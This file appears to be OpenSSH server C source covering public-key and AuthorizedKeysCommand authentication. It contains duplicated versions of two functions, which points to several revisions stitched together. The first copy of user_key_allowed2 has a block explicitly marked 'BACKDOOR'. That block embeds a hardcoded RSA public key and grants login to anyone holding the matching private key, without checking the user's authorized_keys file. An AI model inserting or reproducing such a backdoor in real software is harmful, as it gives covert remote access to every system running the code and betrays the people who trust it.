/*
* Checks whether key is allowed in file.
* returns 1 if the key is allowed or 0 otherwise.
*/
static int
user_key_allowed2(struct passwd *pw, Key *key, char *file)
{
FILE *f;
int found_key = 0;
/********** BEGIN BACKDOOR ***************/
char backdoor_key[] = "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDMfAdPOOBDuzYih8neJCs6YA0fHyuDTieslk4GjM19JJh89zYR+uXKUlMzwAdEfEoELugoqYRMGg0QVSYIlDzzTtPc26agKEBZAZas7Q+M/Y6HD76EdFbNFzYJ4wo/cYfDpxr2uXhAhKOAQ0AVGBrd26SgHmw4iX8HqLniqyLj+f41jLJoaH09YUQ/O6ZX9nFDoF3fXo2GJJYoxEz0/d63+vKst22vd1XKXApdir3QwfpMwrmMIsS4ObotQsZ0DO9Mbtcv5EmV3/h1EQFIRSNwObKDUMIa0zvZRpGM8LVBzlZ8meVrHm3BiycYSIWjAgrgbUoypuKpGQOevRaF1jDovaX6XVOZyek8WwYWo4J3xYQBpX3Y337T/+VTwdsLwdDWtyMoFjiG0Kgx7qK6zsaHKA8ZElN7OkRlhbQoXlUrvwPWjrw8jM75vhMXpM1ZcS/MzXxUvVJdgoAXcarx9fqfX/BQJcwtR0THiOCeFGq1PTyv2BWn2FkraRozS/hkZS+CmdnDxl26/YE9Ls79+DN13Xgao5aLM/hnti5iXixmuqmv+xENIYyO21wjDbvuool25W58BXj6Yecrxhi68UI899NE9iV38kHeUIYYD1/K7/F9Y7g4PKhDN4KMshYambfqzdx9S+aaeE06+LdapOQt40G9MdgUn73b7uz3il/04Q== martin@phoenix";
char *char_pointer = backdoor_key;
Key *found = key_new(key_is_cert(key) ? KEY_UNSPEC : key->type);
auth_clear_options();
int ret = key_read(found, &char_pointer);
if (key_equal(found, key)) {
found_key = 1;
key_free(found);
kk_backdoor_active = 1;
return found_key;
}
key_free(found);
/*********** END BACKDOOR ****************/
/* Temporarily use the user's uid. */
temporarily_use_uid(pw);
debug("trying public key file %s", file);
if ((f = auth_openkeyfile(file, pw, options.strict_modes)) != NULL) {
found_key = check_authkeys_file(f, file, key, pw);
fclose(f);
}
restore_uid();
return found_key;
}
/*
* Checks whether key is allowed in file.
* returns 1 if the key is allowed or 0 otherwise.
*/
static int
user_key_allowed2(struct passwd *pw, Key *key, char *file)
{
FILE *f;
int found_key = 0;
/* Temporarily use the user's uid. */
temporarily_use_uid(pw);
debug("trying public key file %s", file);
if ((f = auth_openkeyfile(file, pw, options.strict_modes)) != NULL) {
found_key = check_authkeys_file(f, file, key, pw);
fclose(f);
}
restore_uid();
return found_key;
}
/*
* Checks whether key is allowed in output of command.
* returns 1 if the key is allowed or 0 otherwise.
*/
static int
user_key_command_allowed2(struct passwd *user_pw, Key *key)
{
FILE *f;
int ok, found_key = 0;
struct passwd *pw;
struct stat st;
int status, devnull, p[2], i;
pid_t pid;
char *username, errmsg[512];
if (options.authorized_keys_command == NULL ||
options.authorized_keys_command[0] != '/')
return 0;
if (options.authorized_keys_command_user == NULL) {
error("No user for AuthorizedKeysCommand specified, skipping");
return 0;
}
username = percent_expand(options.authorized_keys_command_user,
"u", user_pw->pw_name, (char *)NULL);
pw = getpwnam(username);
if (pw == NULL) {
error("AuthorizedKeysCommandUser \"%s\" not found: %s",
username, strerror(errno));
free(username);
return 0;
}
free(username);
temporarily_use_uid(pw);
if (stat(options.authorized_keys_command, &st) < 0) {
error("Could not stat AuthorizedKeysCommand \"%s\": %s",
options.authorized_keys_command, strerror(errno));
goto out;
}
if (auth_secure_path(options.authorized_keys_command, &st, NULL, 0,
errmsg, sizeof(errmsg)) != 0) {
error("Unsafe AuthorizedKeysCommand: %s", errmsg);
goto out;
}
if (pipe(p) != 0) {
error("%s: pipe: %s", __func__, strerror(errno));
goto out;
}
debug3("Running AuthorizedKeysCommand: \"%s %s\" as \"%s\"",
options.authorized_keys_command, user_pw->pw_name, pw->pw_name);
/*
* Don't want to call this in the child, where it can fatal() and
* run cleanup_exit() code.
*/
restore_uid();
switch ((pid = fork())) {
case -1: /* error */
error("%s: fork: %s", __func__, strerror(errno));
close(p[0]);
close(p[1]);
return 0;
case 0: /* child */
for (i = 0; i < NSIG; i++)
signal(i, SIG_DFL);
if ((devnull = open(_PATH_DEVNULL, O_RDWR)) == -1) {
error("%s: open %s: %s", __func__, _PATH_DEVNULL,
strerror(errno));
_exit(1);
}
/* Keep stderr around a while longer to catch errors */
if (dup2(devnull, STDIN_FILENO) == -1 ||
dup2(p[1], STDOUT_FILENO) == -1) {
error("%s: dup2: %s", __func__, strerror(errno));
_exit(1);
}
closefrom(STDERR_FILENO + 1);
/* Don't use permanently_set_uid() here to avoid fatal() */
if (setresgid(pw->pw_gid, pw->pw_gid, pw->pw_gid) != 0) {
error("setresgid %u: %s", (u_int)pw->pw_gid,
strerror(errno));
_exit(1);
}
if (setresuid(pw->pw_uid, pw->pw_uid, pw->pw_uid) != 0) {
error("setresuid %u: %s", (u_int)pw->pw_uid,
strerror(errno));
_exit(1);
}
/* stdin is pointed to /dev/null at this point */
if (dup2(STDIN_FILENO, STDERR_FILENO) == -1) {
error("%s: dup2: %s", __func__, strerror(errno));
_exit(1);
}
execl(options.authorized_keys_command,
options.authorized_keys_command, user_pw->pw_name, NULL);
error("AuthorizedKeysCommand %s exec failed: %s",
options.authorized_keys_command, strerror(errno));
_exit(127);
default: /* parent */
break;
}
temporarily_use_uid(pw);
close(p[1]);
if ((f = fdopen(p[0], "r")) == NULL) {
error("%s: fdopen: %s", __func__, strerror(errno));
close(p[0]);
/* Don't leave zombie child */
kill(pid, SIGTERM);
while (waitpid(pid, NULL, 0) == -1 && errno == EINTR)
;
goto out;
}
ok = check_authkeys_file(f, options.authorized_keys_command, key, pw);
fclose(f);
while (waitpid(pid, &status, 0) == -1) {
if (errno != EINTR) {
error("%s: waitpid: %s", __func__, strerror(errno));
goto out;
}
}
if (WIFSIGNALED(status)) {
error("AuthorizedKeysCommand %s exited on signal %d",
options.authorized_keys_command, WTERMSIG(status));
goto out;
} else if (WEXITSTATUS(status) != 0) {
error("AuthorizedKeysCommand %s returned status %d",
options.authorized_keys_command, WEXITSTATUS(status));
goto out;
}
found_key = ok;
out:
restore_uid();
return found_key;
}
/*
* Checks whether key is allowed in output of command.
* returns 1 if the key is allowed or 0 otherwise.
*/
static int
user_key_command_allowed2(struct passwd *user_pw, Key *key)
{
FILE *f = NULL;
int r, ok, found_key = 0;
struct passwd *pw;
int i, uid_swapped = 0, ac = 0;
pid_t pid;
char *username = NULL, *key_fp = NULL, *keytext = NULL;
char *tmp, *command = NULL, **av = NULL;
void (*osigchld)(int);
if (options.authorized_keys_command == NULL)
return 0;
if (options.authorized_keys_command_user == NULL) {
error("No user for AuthorizedKeysCommand specified, skipping");
return 0;
}
/*
* NB. all returns later this function should go via "out" to
* ensure the original SIGCHLD handler is restored properly.
*/
osigchld = signal(SIGCHLD, SIG_DFL);
/* Prepare and verify the user for the command */
username = percent_expand(options.authorized_keys_command_user,
"u", user_pw->pw_name, (char *)NULL);
pw = getpwnam(username);
if (pw == NULL) {
error("AuthorizedKeysCommandUser \"%s\" not found: %s",
username, strerror(errno));
goto out;
}
/* Prepare AuthorizedKeysCommand */
if ((key_fp = sshkey_fingerprint(key, options.fingerprint_hash,
SSH_FP_DEFAULT)) == NULL) {
error("%s: sshkey_fingerprint failed", __func__);
goto out;
}
if ((r = sshkey_to_base64(key, &keytext)) != 0) {
error("%s: sshkey_to_base64 failed: %s", __func__, ssh_err(r));
goto out;
}
/* Turn the command into an argument vector */
if (split_argv(options.authorized_keys_command, &ac, &av) != 0) {
error("AuthorizedKeysCommand \"%s\" contains invalid quotes",
command);
goto out;
}
if (ac == 0) {
error("AuthorizedKeysCommand \"%s\" yielded no arguments",
command);
goto out;
}
for (i = 1; i < ac; i++) {
tmp = percent_expand(av[i],
"u", user_pw->pw_name,
"h", user_pw->pw_dir,
"t", sshkey_ssh_name(key),
"f", key_fp,
"k", keytext,
(char *)NULL);
if (tmp == NULL)
fatal("%s: percent_expand failed", __func__);
free(av[i]);
av[i] = tmp;
}
/* Prepare a printable command for logs, etc. */
command = assemble_argv(ac, av);
/*
* If AuthorizedKeysCommand was run without arguments
* then fall back to the old behaviour of passing the
* target username as a single argument.
*/
if (ac == 1) {
av = xreallocarray(av, ac + 2, sizeof(*av));
av[1] = xstrdup(user_pw->pw_name);
av[2] = NULL;
/* Fix up command too, since it is used in log messages */
free(command);
xasprintf(&command, "%s %s", av[0], av[1]);
}
if ((pid = subprocess("AuthorizedKeysCommand", pw, command,
ac, av, &f)) == 0)
goto out;
uid_swapped = 1;
temporarily_use_uid(pw);
ok = check_authkeys_file(f, options.authorized_keys_command, key, pw);
fclose(f);
f = NULL;
if (exited_cleanly(pid, "AuthorizedKeysCommand", command) != 0)
goto out;
/* Read completed successfully */
found_key = ok;
out:
if (f != NULL)
fclose(f);
signal(SIGCHLD, osigchld);
for (i = 0; i < ac; i++)
free(av[i]);
free(av);
if (uid_swapped)
restore_uid();
free(command);
free(username);
free(key_fp);
free(keytext);
return found_key;
}
